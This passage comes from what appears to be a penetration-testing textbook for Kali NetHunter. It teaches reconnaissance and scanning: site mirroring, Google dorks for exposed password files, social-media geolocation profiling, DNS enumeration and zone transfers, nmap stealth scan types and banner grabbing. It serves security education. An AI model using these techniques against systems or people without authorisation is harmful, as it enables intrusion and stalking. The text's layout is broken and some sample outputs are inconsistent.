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5. Press Enter. Depending on the size
of

the site you have targeted, downloading

may take some time. For my testing, I used www.webscantest.com to practice.

6. Once the download has completed, browse to the folder with the file manager

(the blue folder icon on the toolbar).

7. Click on any file and the appropriate application will be launched, such as your

web browser. It may take a little poking around, but you may stumble across

something interesting. For example, consider the following page I found:

A login page from the targeted website

On
larger sites, you may want to consider fine-tuning your request a bit so you limit the

results. You can do this
by

issuing the command with the -r switch, like so:

httrack -r2 <website name>

In this example, the -r switch is used with the 2 option, which tells it to go only two levels

deep on the site. Note that the switch is a lowercase r; if an uppercase R is used, this will

not work.

Want to have a little more guidance when running httrack? Well a wizard-type help

system is available
to

walk you through the process. You can use this feature by enabling

the -W (uppercase) switch:

httrack -W <website name>
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Try different options; you can see the vast array of them by using httrack -h.

Once you have completed this command, you can browse to the folder you created and

review the content that has been downloaded.

Google Hacking

One resource we should not overlook when gathering information is search engines. In this

section,
we

are going
to

focus specifically on Google and a process known as Google

hacking. As it stands, Google is a very powerful tool for gathering information just
by

performing simple keyword searches, but what if you wanted to be more specific and fine

tune your searches to get better-quality results? Have you ever put a keyword or set of

terms into the search box on google hoping
to

get that useful piece of information only to

get several pages of results with very little, if anything,
to
do with what you were looking

for? If you have, you are not alone with this problem, but the good news is that the use of

Google hacking can greatly improve your results and help you get what is relevant.

Google hacking (or Google dorking, as some call it) makes use of special keywords
to

construct queries designed to refine a search to gather information. Under a skilled and

patient hand, it is more than possible to retrieve useful pieces of information, such as

passwords, configurations data, and login portals.

Exercise ‒ what's the Right Search Engine

In order
to

be successful with a Google hack,
we

need
to

lay the groundwork by first

covering what are known as operators. Operators are special keywords or terms that are

used to direct Google
to

look for information of a certain time or format. Operators can be

used within the context of any search and can even
be

strung together to create a more

complex and targeted search. While
we

will discuss the proper usage of each, I would

strongly recommend you spend some time working with them, learning different ways to

use them in your own queries or how to refine your searches:

The Cache keyword displays the cache versions of websites that Google

previously stored on their servers.

Usage: cache:<website URL>

The Link keyword displays websites that have a link to the specified URL.

Usage: link:<website URL>
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Info provides information about the website.

Usage: info:<website URL>

Site restricts the searches for the locations.

Usage: <keyword> site:<website name>

Allintitle returns pages with specified keywords in the titles.

Usage: allintitle:<keywords>

Filetype is used to return only files
of

a specific type.

Usage: filetype:<file extension> <keywords>

Allinurl returns results with a specific query.

Usage: allinurl:<keywords>

With these keywords in mind, let's discuss a few examples to show you how to use each. I

will put some queries here and provide a description of what should be returned if you

were to try them yourself:

Allinurl network cameras: This query would return any URL that has a

combination of the words network and cameras in it.

Allintitle virus description: This query would return any page that has the

words virus and description in the title.

Filetype:xls username password email: This would return any XLS (Microsoft

Excel file) containing the keywords username, password, and email. It is also

possible to combine keywords to make even more refined and powerful queries.

Allinurl:nuke filetype:xls: This query would look for URLs that contain the

word nuke and then look for XLS files and return the results.

If you find yourself stuck for ideas, look at the Google Hacking Database

(GHDB). You can locate the website at www.hackersforcharity.com.Here, you'll find many examples of both simple and complex uses of

google hacks that you can examine, dissect, and modify
to

learn how
to

get more out of your results.
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Location

A lot of organizations tend to insert their business address on various online maps to help

customers find their physical locations more easily. Sites such as Google Maps, Bing Maps,

Waze, and MapQuest help everyone find their way around a country. However, this also

helps penetration testers
to

find a target organization much more quickly if they are

conducting a black-box test or do not have the phyiscal address of the target company.

Social networking

For the purpose of gathering information about an individual, not too many sources can

compete with social networking. These networks have not only become extremely prolific,

but are a very valuable tool for information-gathering. This is largely because users of these

services tend to overshare information. For most people, sharing things online is more

exciting than keeping things a secret.
Of

course, when used with care, social networking is

a good way for communicating with friends and family; however, in some circumstances it

could provide a wealth of information on both personal and professional relationships.

The most common social platforms to gain information about a target are as follows:

Facebook

Twitter

Google+ (recently been discontinued by Google)

LinkedIn

Instagram

Tumblr

Using Echosec

One of my favorite tools for mining the data revealed on these social networking services is

known as Echosec. This service offers more than just a service used to locate information on

social networking sites; it aggregates the information from multiple sites and then locates

where the post was made using geographic data. Yes, you read that right; it can show you

on a map where a post to a network was made and even allow you to adjust the timeframe.
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The following figure shows the Echosec interface:

Echosec works in part because social networks either use location data embedded in the

post or use other features to place it on a map (such as IP address). Services such as

Facebook, Twitter, and Instagram can include information from the GPS built into just

about every modern device in the posts you make. While this sounds cool as it allows you

to show your friends and family where you have been, it also has a downside: it allows

other people to see that same information. This can allow a malicious party
to

see where

you work, play, and live, not
to

mention where you have traveled. All of this information is

useful in identifying an individual's habits as well as other personal information.

As a pentester, you should not overlook the value of this information. We can retrieve this

information through a service known as Echosec, at http://app.echosec.net. To use this

service, you only need a location and a little time.

[73]



Intelligence-Gathering Tools Chapter 3

Exercise ‒ working with Echosec

In order
to

use Echosec to analyze the social media posts from a location, see the following

steps:

1. Go to https://app.echosec.net.2. Click the Select Area button. Draw a box around the target area.

3. Scroll down to view the results.

It is possible that pornographic images may sometimes appear in the

search results. Even if it is not common, it happens from time to time.

Working with Recon-Ng

Do you want
to

speed up the process of information-gathering and overall reconnaissance

of a target? Recon-Ng is for you! While it is true that you will become more adept and

therefore faster at gathering information manually, tools such as Recon-Ng will only

improve the speed and efficiency of this process. So, let's take a closer look at this tool to get

an appreciation of how it works.

Recon-Ng is a powerful tool designed to mimic the interface and design of similar tools

known as frameworks. The tool is based around a design that incorporates standalone

modules, interactions with the database, interactive help, and which automatically

completes commands for a user. However, Recon-Ng is not designed
to

compete with

existing frameworks and is more of a complement to the other penetration-testing tools that

are already popular.

Recon-Ng comes with 80 recon modules, 2 discovery modules, 2 exploitation modules, 7

reporting modules, and 2 import modules. The following are some examples:

command_injector: Remote Command Injection Shell Interface

csv_file: Advanced CSV File Importer

email_validator: Verifies email

mailtester: MailTester Email Validator

migrate_contacts: Contacts to Domains Data Migrator

facebook_directory: Facebook Directory Crawler

metacrawler: Metadata Extractor
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instagram: Instagram Geolocation Search

twitter: Twitter Geolocation Search

dev_diver: Dev Diver Repository Activity Examiner

linkedin_crawl: LinkedIn Profile Crawler

You can view the entire list of Recon-Ng modules at

https://www.darknet.org.uk/2016/04/recon-ng-web-reconnaissance-f

ramework/.

Going for technical data

When gathering information during the reconnaissance process, you also want to try to

acquire as much technical data as is possible and reasonable to collect. Fortunately, there

are a lot of methods today to help
us

gather information; many are right at your fingertips,

built into your favorite operating system, while others require different methods.

Using WHOIS

WHOIS has been around for quite some time now, but is a very useful utility.

Exercise ‒ getting the most from WHOIS

1. At the Kali NetHunter Terminal, type whois <domainname>, for example:

whois usatoday.com

The output will show you all the publicly-accessible information about the registration of

the domain name, such as the person who did the registration, contact details for the

company, the company's address, and the domain creation, renewal, and expiration date:
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Results of WHOIS for verisign

Domain registrars usually provide an option for privacy to their customers. This would

restrict a purchaser's information from being made available for public records.

nslookup

A technical area
we

should also focus on is DNS, or Domain Name System, which is

responsible for resolving hostnames to IPs and IPs to hostnames. This service is extremely

common to find running on a network, and is essentially a required service within most

environments.
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If you recall from your networking experience, DNS is a database that contains information

about the relationships between IP addresses and corresponding hostnames. When a client

wishes to obtain the IP address that goes with a given hostname (in a query known as a

forward-lookup), a process goes on within DNS where the hostname is located in the

database and the address returned. Each of these IP-to-hostname relationships in the

database is known as a record. Not all records in DNS are the same and they exist as many

different types, each leading
to

a different type of resource. Looking for the IP for a file

server? That's an A record. Looking for a mail server? That's an MX record. The following

table lists these different records:

Record type Description

A Resolves hostnames to IPv4 addresses

AAAA Same as an "A" record, but for IPv6

MX Record for the location of the mail server for that domain

NS Lists name servers for a domain

CNAME Creates an alias

SOA Displays who has authority for a domain

SRV Service record

PTR Opposite of an A record

RP Who is responsible for administration

HINFO Host information

TXT Simple text record may be used for comments

Now that we know this information, how do
we

put it
to

use? Well that's where nslookup

comes in. Nslookup allows
us

to interact with a DNS server and query it for different

record types. Executing queries to retrieve HINFO or TXT records can yield information

such as notes or other details that may be useful to you. Additionally, retrieving other

records, such as an MX record, could yield you the address of a mail server or an NS record

could tell you the address of the target's DNS servers.

Running nslookup requires using the terminal window or command line to issue the

commands directly.

In its default mode of operation, nslookup will return the IP address that corresponds to a

hostname or the other way around, depending on which you provide. For example, let's

find out the IP address of website.com by running the following command:

nslookup website.com
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It would return something similar to the following:

Server: 8.8.8.8

Address: 8.8.8.8

Non-authoritative answer:

Name: website.comAddress: 134.170.185.46

Name: website.com

Address: 134.170.188.221

Here, 8.8.8.8 is the address of the DNS server the local host is configured to use.

Directly after this, we see the information for website.com. In this case, the DNS server

returned two answers, indicating that the website uses a load-balancing system commonly

known as a round robin. Essentially, this means that when you browse to this website, you

will be sent to one of these two addresses and your queries will
be

resolved and answered

appropriately.

It's also important
to

note the text in the response that states "Non-authoritative answer"
to

our query. This response indicates that the DNS server
we

are querying does not contain

complete information for the domain being queried. This answer typically indicates that

you have been provided information that is cached from the last request made by a client.

Reverse DNS Lookups

It is possible to perform reverse lookup queries by providing the IP address instead, like so:

nslookup 134.170.185.46

This will return information resembling the following:

Server: 8.8.8.8

Address: 8.8.8.8

Non-authoritative answer:

46.185.170.134.in-addr.arpa name = grv.website.com
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Looking up an NS record

The NS record of a domain contains the IP addresses of the name servers that are

authoritative for that domain. Retrieving an
NS

record is simple:
we

just run a query much

like before, but now
we

include the -type switch to tell the utility
to

return only
NS

records:

nslookup -type=ns microsoft.com

The response will resemble the following:

Server: 8.8.8.8

Address: 8.8.8.8

Here is the non-authoritative answer:

website.com nameserver = ns3.web.net

website.com nameserver = ns4.web.net

website.com nameserver = ns1.web.net

website.com nameserver = ns2.web.net

Querying an MX record

The MX record of a domain contains the IP addresses of the mail servers that handle

messages for the domain. When you send an email to a domain, for example

@website.com, mail is routed to the website's MX servers.

You can use the -type=mx option to query a domain for its MX record. For example:

nslookup -type=mx website.comIt will respond with output resembling the following:

Server: 8.8.8.8

Address: 8.8.8.8

Here's the non-authoritative answer:

website.com mail exchanger = 10 website

com.mail.protection.mailserver.com
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Querying an SOA record

The Start
Of

Authority (SOA) record for a domain provides technical information about

the domain itself. It can
be

retrieved
by

using
the

-type=soa option:

nslookup -type=soa website.comServer: 8.8.8.8

Address: 8.8.8.8

Here's the non-authoritative answer:

microsoft.com

origin = ns1.website.netmail addr = msnhst.website.com

serial = 2014110802

refresh = 7200

retry = 600

expire = 2419200

minimum = 3600

Querying another DNS

Nslookup, by design, will query the same DNS server that the host system is currently

configured to use. However, if you wish
to

change the DNS server that is being queried
by

nslookup, you can use the following command:

nslookup website.com ns1.web.net

This command will provide
us

with the authoritative answer to our previous query of

microsoft.com:

Server: ns1.web.net Address: 65.55.37.62#53 Name: website.com Address:

134.170.185.46 Name: website.com Address: 134.170.188.221

This is useful not only for gaining authoritative information, but also for retrieving the

information a certain DNS currently has cached.

Also note that a closer examination of the WHOIS result, the nameservers which are

authoritative for the domain are located at the bottom of the result. You could use those

servers returned from a WHOIS query with nslookup.
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Using dnsenum

Let's use another tool to that is built into Kali, known as dnsenum, to examine DNS

information. Simply put, dnsenum is a script designed
to

extract DNS information from a

domain and reveal non-contiguous IP blocks. Here is a short list of the features of this

script:

Get the host's address record

Get the nameservers

Get the MX record

Perform AXFR queries on nameservers

Get extra names and subdomains via google scraping

Brute-force subdomains from the file

Calculate C class domain-network ranges and perform WHOIS queries on them

Write to domain_ips.txt file IP blocks

Let's take a quick look at how to use dnsenum.

Exercise ‒ working with dnsenum

Dnsenum is a fast and very efficient way of acquiring the same info as nslookup without

having to jump through as many hoops.

To use dnsenum at its most basic, simply issue the following at the Terminal window:

dnsenum <domain name>

This will return a list of results about records including name servers, MX servers, and A

records. It will also attempt
to

perform a zone transfer.

Want to try querying a different DNS server for the same name? Use the following:

dnsenum -dnsserver <IP address of server> <domain name>

The use of dnsserver is particularly helpful when you are trying to query the

authoritative server for a domain.
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Using DNSMAP

Another effective way to learn about subdomains, IP addresses, and build a picture or map

of a network is through the use of DNSMAP. This utility is capable of performing several

actions, but let's look at it right now as a way
to

learn about subdomains and associated IP

addresses for a target.

You can use DNSMAP to perform any of the following actions:

Find remote servers

Find domain names that will allow you to map non-obvious/hard-to-find net

blocks

The ability to locate internal DNS names and IP addresses using brute-force

To use DNSMAP to locate subdomains, simply execute the following command:

dnsmap <domain name>

For example, it will be seen like this:

dnsmap microsoft.com

There is another tool that is effective at gathering information from DNS: Fierce. Fierce is in

the same as other tools of its type, but it is still worth covering because it offers another

attractive alternative.

Fierce is, at its heart, a scanner that helps locate non-contiguous IP space and hostnames of

targeted domains. It's meant, in many ways, to be a way
to

gather information to be used in

tools such as nmap. It locates potential targets both inside and outside a target network.

To use Fierce
to

perform a scan of a DNS namespace, issue the following command:

fierce -dns <domain name>

An example using an actual domain name looks like this:

fierce -dns zonetransfer.me
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The following figure shows the results of this example scan:

Using traceroute

Traceroute is designed using the ICMP protocol as a component. Traceroute allows an

administrator to map the path a packet would take between the source to the destination.

Traceroute exists both in the Windows and Linux systems.

Traceroute sends packets by slightly increasing the TTL value, initially with a TTL value of

1. The first router receives the packet, decreases the TTL value, and then leaves the packet

because it has a TTL value of 0.
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The router sends an ICMP Time Exceeded message back to the source:

There are many non-command-line versions
of

traceroute, if you find them easier to use.

Summary

There is a wealth of resources available for you to get details about the target sources which

you should
be

familiar with when performing a penetration test. In this chapter,
we

learned

how to research a target and use the information collected to understand the victim.

In the next chapter, we will build on the lessons learned during information-gathering and

move
to

acting on this information through
the

use of scanning and enumeration.

Further reading

You can check out http://kali.tools.org for more information about the topics covered

in this chapter.
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4
Scanning and Enumeration

Tools

In this chapter, we will be discussing an overview and the techniques of scanning. If
we

recall from Chapter 2, Understanding the Phases of Pentesting Process, scanning is the second

phase of hacking. What is scanning? It enables a penetration tester
to

identify devices that

are online/live within a network, and identify open and closed services ports, service

versions, and vulnerabilities; these are just a few of its benefits. Nmap and hping3 are a

couple of well-known scanning tools.

Furthermore, penetration testers usually need to extract information
to

quickly identify the

attack points on a target system. Information can be network shares, routing tables from

devices, users and groups, and DNS records. This way of extracting information is known

as enumeration. A couple of powerful and simple-to-use tools for enumeration are nbtstat,

nbtscan, enum4linux, and nslookup.

In this chapter, we will explore the following topics:

Determining whether a host is up or down

Using Nmap

Port scanning

Banner grabbing

Enumeration with NetHunter

Working with SMB

Technical requirements

In order
to

complete this chapter, you will need to have Kali NetHunter installed. Please

see the detailed instructions in Chapter 1, Introduction to Kali NetHunter, for setting up Kali

NetHunter on your Android device.
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Scanning

When we want to act on the information we've gathered using the tools both native
to

and outside of NetHunter,
we

typically start with a series of scans. To probe the target, we

will use a series of tools designed
to

perform different types of scans, each designed
to

group the information using certain criteria. These scans will help us locate valid hosts to

target, network structures, running services, and vulnerabilities. The scanning process

further refines and processes the information
we

have gained from Chapter 3, Intelligence

gathering Tools, to provide you with a better understanding of the target as well as
to

help

you pick areas to better carry out the enumeration process (more on that in Enumeration

with NetHunter section).

Scanning can help us gather the following important information, which will prove useful

in later in the exploitation process:

IP addresses of systems

Open and Closed ports

Operating systems and their version

WHOIS information

Software versions

MAC addresses

Conducting a scan

So, what do we mean by scanning? Let's break down the process. To understand it better,

refer to the Port scanning section. Further into this chapter,
we

will look at the practical

aspects of scanning by using the Nmap tool and various scanning techniques. The

following steps need to perform
to

conduct a scan:

Analyze a range of IP addresses to locate live systems, that is, the target device

will either respond to a ping scan with an ICMP ECHO Replay. If ICMP is

disabled on a target, using Nmap,
we

can send probes to detect whether the

target will respond, Nmap analyzes the responses to help us determine whether

a system is online. This stage helps
us

avoid scanning IP addresses that are not

online and thus not able to be scanned.

Next,
we

conduct port scanning to target a specific IP address and probe it to

determine which ports are open or closed, which will be used
to

extract

information later.
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Probe the open ports more closely to determine whether a service or application

is actually running on that port and, if so, what information can be extracted.

This process is similar
to
making a phone call to a company and punching in an

extension, then listening to the voicemail to see whether it gives information

about the person at that extension.

Performing a vulnerability scan on open ports to identify weak spots that may

provide an entry point into the system. Note that this scan finds the weaknesses

but does not exploit them.

Be creative with your scans; try new tools and combinations to get

different results. NetHunter has numerous scanning tools included, as

well as being able to run many additional ones, many of which can be

downloaded and installed for free. While many professionals, websites,

and books will concentrate on using one specific scanner, don't hesitate to

try others.

Troubleshooting scanning results

What if you don't get everything on this list? In most cases, you should be able to obtain IP

addresses, WHOIS information, and so on quite easily. However, if you have find a dearth

of substantive or useful information, you may want to circle back
to

the gathering phase to

see whether you overlooked anything or you need to take a different approach to

information gathering. Gathering a high amount of information will reap dividends in the

scanning phase by making your assessment more accurate.

Determining whether a host is up or down

If you're going to attempt to enter a system,
you

first need
to

have a target to examine and

explore, which requires finding out which hosts are online or live and which are not.

Exercise ‒ working with ping

In this exercise, we are going to use the ping utility to check for live targets:

1. Open the Command Prompt on Windows or the Terminal in Linux.

2. Ping-c <number of pings> <target IP or hostname>.

3. Press Enter.

4. View the results.
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If the -c is omitted, the ping command will continue
to

ping the provided

hostname or address until you press Ctrl+C.

If you receive success replies from the target,
the

host is considered to be live. If you get a

request timeout message, this means one of two things: the target is offline or the target has

disabled ICMP responses. Systems administrators usually disable ICMP replies for security

reasons; if a script kiddie is attempting a ping scan, they would think the target is offline

and move on. However, a skilled penetration tester would use another method to

determine the true status of the target.

There are two main methods in using the ping utility: using ping followed

by a target IP address, or by a hostname. If you ping a hostname and

don't get any responses, there may be a problem with your DNS settings.

If the DNS settings are accurate, the target made actually
be

down. Hence,

it's good to ping using an IP address.

OK, let's do one more exercise and take a look at nmap, which is a utility that you are about

to become very familiar with.

Let's explore a different way
to

perform pings with a new tool called nmap.

Using Nmap

Nmap (Network Mapper) is like the king of all network scanners. Nmap has may

functionalities, such as enabling a penetration tester
to

scan for open ports, determine

services and their versions, detect the target operating systems and versions, and detect

network sniffers and vulnerabilities.

NetHunter gives us several options to perform a scan, but here we will focus on arguably

the most powerful and well-known one, called nmap. Nmap has proven to be a very

popular port-scanning utility across most major operating systems due to its flexibility,

power, ease of use, and extensibility. Many penetration testers, as well as network admins,

have come to rely on the software application over the years. If you have never used it

before, you may find yourself relying on it more after our usage of it here in NetHunter.
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NetHunter comes preinstalled with nmap, like all of the tools covered in

this book. I recommend for this section that you open
up

nmap from

either the command line or from the NetHunter app.

If you are familiar with nmap from using Kali Linux or using nmap on

Microsoft Windows, you will find that opening a Terminal allows you to

issue the exact same commands that you are used to.

Exercise ‒ Performing a Ping Sweep with Nmap

In this exercise, we are going to perform a ping sweep on a local subnet to check for any

live host devices:

1. In NetHunter, open the terminal or access Nmap through the NetHunter app by

tapping on the three horizontal lines in the upper-right corner of the app:

Nmap within the NetHunter app
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2. Select the following option from the nmap menu:

Note the Ping Scan option, just tap on it to enable the scan type

3. Enter an IP address (that is, 192.168.1.1) or a range of IP addresses (that is,

192.168.1.1-130).

4. Tap the Scan button, which will open
up

a Terminal window and show the

command executing and the results:
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When the scan is completed, the results will be populated on the screen.

.
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If the scan does not execute, you may have to select an interface for the scan to operate on.

If this is the case, select the interface (that is, wlan0) from the interface dropdown, as noted

in the nmap window:

Showing the interface dropdown window

Port scanning

After live systems have been identified, it's time
to

check for any open ports on the target.

So, what is a port? First, let's assume that every host on our network has a unique address

assigned
to

it, known as an IP address. This address is a unique number assigned to a host

to differentiate it from other hosts on the network.

Of
course,

we
also need to concern ourselves with when information is sent from system to

system and how a computer knows how to accept that information. The answer is ports. I

will use the 192.168.1.4 IP address as our target system:

192.168.1.4:80

[92 ]



Scanning and Enumeration Tools Chapter 4

So, how many ports are available on a system? There are 65,535 port numbers. Some

network services uses TCP ports to ensure their data is delivered to the recipient, while

other network services use UDP for fast communication but do not guarantee a fast

delivery like TCP. The port ranges which
we

use are as follows:

Well-known ports range from 1 - 1024. These ports are most commonly used, an

example would
be

port 80 for HTTP traffic, all web servers have port 80 open by

default..

Registered ports are from 1025 - 49151. These ports are allocated and reserved

for specific vendor and applications uses.

Dynamic ports are from 49152 - 65535. These ports are used temporarily during

communication.

A packet is a piece of information transmitted during normal network

communications. A packet is like an envelope with both the sender and

receiver's address information, and within the packet, just like an

envelope, is the message to be delivered.

The following table is an illustration of some
of

the more common ports, but there are many

more than are listed here:

Example of some common ports
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In our earlier discussions,
we

talked about some specifics of the TCP/IP suite that facilitated

communication, specifically TCP and UDP. The Transmission Control Protocol (TCP) and

the User Datagram Protocol (UDP) exist within the Transport Layer of both the OSI

Reference Model and the TCP/IP Protocol Suite. The purpose of these protocols is to

provide a mechanism for the delivery of the data from one device to another.

Remember that the three-way handshake happens with the TCP Protocol

and not with UDP.

During the TCP three-way handshake, the following actions take place:

1. A sends a SYN packet to B
to

initiate a session.

2. B responds with a SYN+ACK. B would respond with an ACK and also send a

SYN to attempt
to

establish a connection as well.

3. A would respond with an ACK to confirm. The following diagram shows the

TCP three-way handshake:

TCP three-way handshake
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TCP provides sequence numbering for each segment. This ensures the recipient device is

able to reassemble the pieces of bits received in order and rebuild the data.

UDP is a bit different from TCP. UDP sends messages out on the network without

providing any sort of guarantee of delivery and does not provide any sequence numbering.

Therefore, messages are sometimes received in an out-of-order fashion.

We need to expand our knowledge on the topic of flags, some of which we have

encountered. Flags are set within each packet
to

inform the receiver about the

characteristics of the packet and how it should be handled.

The following table shows various flags:

Name Description

SYN Used to initiate a session

ACK Used
to

acknowledge a message

URG Implies high priority

PSH Sends all data immediately

FIN Informs a remote device
to

gracefully end a session

RST A reset packet is used to reset a connection.

So, let's put our knowledge of flags and ports together to do some port scans. As
we

learned earlier, ports are a way of connecting
and

transferring information to a system such

as web traffic. Through port scanning,
we

are attempting to determine which ports are

"open" and which are "closed."So what does that mean? Simply put, if a service port is

open, it can receiving incoming traffic on it; however, if a port is closed, it's like a locked

door, no traffic is allowed to enter.

You want to learn the pros and cons of each scan. Every scan offers

benefits as well as drawbacks; it is up
to
you to know the pros and cons so

you can determine the best time to use one over the others.
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Full Open/TCP connect scans

Of
all the scans, the full open scan is very easy to visualize and understand, as

we
have

kind of already seen it. A full open scan establishes a TCP three-Way handshake prior to

performing any port scans on the target system, with the goal of determining their status if

they are open and closed.

This type of scan is able to quickly determine whether a port is open or closed because it

establishes a TCP three-way handshake with the target.

When the initiate
no

longer wants to communicate with the target, the initiate will send a

TCP FIN packet to let the target know it would like to gracefully end the session:

Close and Open Port responses

[96]



Scanning and Enumeration Tools Chapter 4

If a port is open on a target device, the target responds with an ACK packet. If the port is

closed, an RST packet is sent.

To execute a full connect scan, select Connect () from the list in the nmap window in the

NetHunter app and enter the target IP address:

The TCP SYN option
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Stealth scans

A stealth scan (sometimes known as a half open scan) is much like a full open scan with a

minor difference that makes it less suspicious on the victim's device. The primary difference

is that a full TCP three-way handshake does not occur. Looking at the following diagram,

the initiator (device A) would send a TCP SYN packet to device B for the purpose of

determining whether a port is open. Device B will respond with a SYN/ACK packet to the

initiator (device A) if the port is open. Next, device A will send an RST to terminate the

connection. If the port is closed, device B will sent an RST packet:

Stealth scan showing open and closed service ports
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The benefit of using this type of scan is that it reduces the chances of being detected.

To execute a stealth scan, select (TCP SYN) from the list in the nmap window in the

NetHunter app and enter the target IP address:

Selection of TCP SYN
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XMAS scans

In this scan, the ACK, SYN, URG, RST, and FIN flags are all set at once on the same

packet. The issue with this is that since all the flags are set, the target system may have

difficulties in interpreting the packets it has received. The following diagram shows this

process:

XMAS tree scan
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To execute an XMAS scan, select XMAS from the list in the nmap window in the

NetHunter app and enter the target IP address:

XMAS scan selection from dropdown
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FIN scans

A FIN scan is when an attacker sends a packet with only the FIN flag enabled. If an attacker

sends the FIN packet
to

the target, it means the attacker is requesting the connection be

terminate but there was
no

established connection to close. This would confuse the target. If

the target does not respond, it means the port is open. If the target replies with an RST

packet, the port on the target is closed. The following figure illustrates this process:

A FIN scan detecting a closed and open port
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To execute a FIN scan, select FIN from the list in the nmap window in the NetHunter App

and enter the target IP address:

FIN scan selection from dropdown
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NULL scans

In a null scan, the attacker sends a packet to the target without any flags set within it. Once

again, the target will be confused and will not respond. This will indicate the port is open

on the target. However, if the target responds with an RST packet, this means the port is

closed on the device. The following diagram illustrates this process:

To execute a NULL scan, select TCP Null from the list in the nmap window in the

NetHunter app and enter the target IP address:
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TCP Null scan selection from dropdown

ACK scans

Another interesting method of scanning is enabling the ACK flag within a packet. This

technique is used to determine any form of filtering that may be performed by a network

security device, such as a firewall.

While we haven't talked about firewalls yet,
we

are going to a little later. However, for right

now, we will say that firewalls perform filtering of traffic from one network
to

another (for

example, the internet to your local intranet
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During a penetration test,
we

may
be

on the external network of the organization, such as

the internet. Most organizations deploy a firewall at their perimeter, between the internet

and their local area network (LAN) to help prevent any threats from entering or leaving

their network.

We can use an ACK scan to help
us

determine whether our target organization has a

firewall in place. To execute an ACK scan, select ACK from the list in the nmap window in

the NetHunter app and enter the target IP address:

ACK scan selection from dropdown

Tuning and tweaking

Of
course, what we are doing with nmap so far is only the tip of the iceberg. Nmap allows

for customization of scans to a very high degree. Let's look at a few options.
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To execute a NULL scan, select NULL from the list in the nmap window in the NetHunter

app and enter the target IP address:

The menu and options available within the Nmap app on Kali NetHunter

On
this line, you can enter the ports you wish

to
scan in different ways, such as a range;

we

are using the -p switch to indicate
we

are scanning specific ports, and then we follow it

with ports 21, 22, and 45 and the IP address
of

the target:

21,22,45

Another option is to scan a range of ports, for example, ports 1
to

100:

1-100

Want to scan specific ports and detect the OS and services? Nmap would send a series of

both TCP and UDP datagrams to the target device; each response is carefully analyzed. The

results would be compared with the Nmap OS database, which consists of over 2,600 OS

fingerprints. For more information on
OS

detecting using Nmap, please see https://nmap.

org/book/man-os-detection.html.
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Check in the box in the Nmap window as shown in the following screenshot:

OS-detection option

There are many more switches than what is being shown here, but know that you can

combine switches to further refine your scans to get better and more efficient results.

UDP scanning

In this section,
we

are going to discuss the concepts of UDP scanning and its benefits
to

a

penetration tester. The first thing
we

need to understand is what happens in UDP scanning

when an open or closed port is encountered. That answer is displayed in the following

table:

Port status Result

Open No response

Closed ICMP Port Unreachable message returned

Performing a UDP-based scan in Nmap is easy. To do so,
we

select the UDP scan option

from the Nmap window, as shown in the following screenshot:
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UDP scan option

These types of scans are worth attempting however as the network admins have been

known to pay less attention to UDP scans based on their perceived performance issues like

not being attractive to an attacker.

Banner grabbing

Banner grabbing is a technique that identifies
the

services that are running on a system. For

example, let's say you did a basic port scan on a target and you saw port 80 is open, this

means there is a web server providing HTTP service. However, if we would like to

determine/retrieve the web server platform (IIS, Apache, or Nginx) and its version number,

we
would have to perform banner grabbing.
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Exercise using Telnet to banner-grab

In this exercise, were going to use Telnet to determine the type of web server on a target

system. We'll be able
to

see whether it's IIS, Apache, or Nginx. Let's begin:

1. Open a command console.

2. At the console, enter the following command:

telnet <target IP address> 80

Press Enter.

Enter the GET/ http/1.0 command.

Press Enter.

View the results.

3.

4.

5.

6.

Your results may vary on your target, however, the results would
be

in a similar format
to

the following:

HTTP/1.1 200 OK

Date: Mon, 30 January 2017 22:10:40 EST

Server: Apache/2.0.46 (Unix) (Red Hat/Linux) Last-Modified: Mon, 25

December 2016 11:20:14 PST ETag: "1986-69b-123a4bc6"

Accept-Ranges: bytes

Content-Length: 1110

Connection: close

Content-Type: text/html

Looking at the output, you will notice that, in the line marked server, there is information

on the type of server, which is Apache/2.0.46 running on UNIX or Red Hat/Linux. This

information, which may appear to be harmless, is useful for targeting an action later on

against a web server or
OS

since we have some information on both.

Exercise ‒ using nmap to banner-grab

Now we are going to use NMap tp help us retrieve the banner(s) of a target device:

1. Open a command console.

2. At the console, enter the following command:

Nmap -sV <target IP address or hostname>

3. Press Enter.

4. View the results.
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You will notice that compared to the results with telnet, these results are somewhat

abbreviated, but they give the basics on those services that are running on open ports. If

you want more in-depth results, you can vary the command as follows:

More aggressive Service Detection: nmap -sV --version-intensity 5

<target IP address or hostname>

Lighter banner-grabbing detection: nmap -sV --version-intensity 0

<target IP address or hostname>

Version Intensity uses values between 0-9. A lower number uses probes

that tend to be more effective on a wider variety of common services. A

higher number uses probes that are rarely or sometimes useful. However,

using a higher number will increase the time it takes to complete a scan,

but increases the chances of properly identifying a service correctly.

There is also another way to use nmap to pull detailed information about services, and that

is
to

use the following command:

Nmap -A <IP address>

This was mentioned earlier as a way to detect the
OS

and services, but it should be

mentioned again here as well.

Enumeration with NetHunter

Once you have your information collected from scanning, such as open ports and

information about running services, you can move to enumeration. During this process,

you can expect to gain a lot more information that can be acted on later. If you are lucky

and score big, you may find yourself in possession of information such as user accounts, the

device hostnames, network shares, and services. It is also worth noting that you are

increasing your visibility and, along with it, your possibility of being detected, so you want

to tread as lightly as possible and
be

measured in your actions.

The following is a list of some information that is gathered during the enumeration process:

Network shares

Users and groups

Running services and their banner

DNS records
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Enumerating DNS

With DNS being a core service on just about any network you will encounter, it makes

sense that it would be on your list of potential targets. DNS is a valuable source of

information to the pentester because of the information that can be discovered there.

Remember, DNS is responsible for resolving hostnames to IP addresses, and vice versa, in

what are termed Forward and Reverse Lookups, respectively. The service plays an

important part in many of the networks as it eases administration as well as makes it

remember a host by name instead of an IP. The service is also integral to the proper

operation of directory services, such as Microsoft's Active Directory product and others.

The information regarding hosts and services contained within DNS makes it an attractive

target for a pentester. Fortunately, NetHunter provides a handful of tools to work with the

service.

Let's look at a very effective and simple tool, DNSenum, to get the process going.

DNSenum was created to gather information from a targeted domain. The information

gathered comes in the form of DNS records, which will include information such as IP

address and hostname. Additionally, the tool can gather host addresses for the target as

well as attempt zone transfers from the DNS servers servicing the domain.

To use the tool, you will need to run it at the terminal window by executing

the dnsenum command, however you will need to choose which switches
to

use to

customize the results.

For example, let's run a basic query against the www.setset.com domain and output the

results to a file named dns.xml:

dnsenum -o dns.xml test.comor

dnsenum -o <filename.xml> <domain_name>

Once this command completes,
we

can open the resulting XML file in a text editor or an

application designed to read XML files. The results returned and written to the file will

include the following:

Host addresses

Name servers

Mail servers

Attempted and successful zone transfers
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One of the more useful pieces of information pertains
to

zone transfers. If a zone transfer is

successful, you can expect a list of records extracted from DNS, which will have

information regarding hosts, services, and other items that are stored within the name

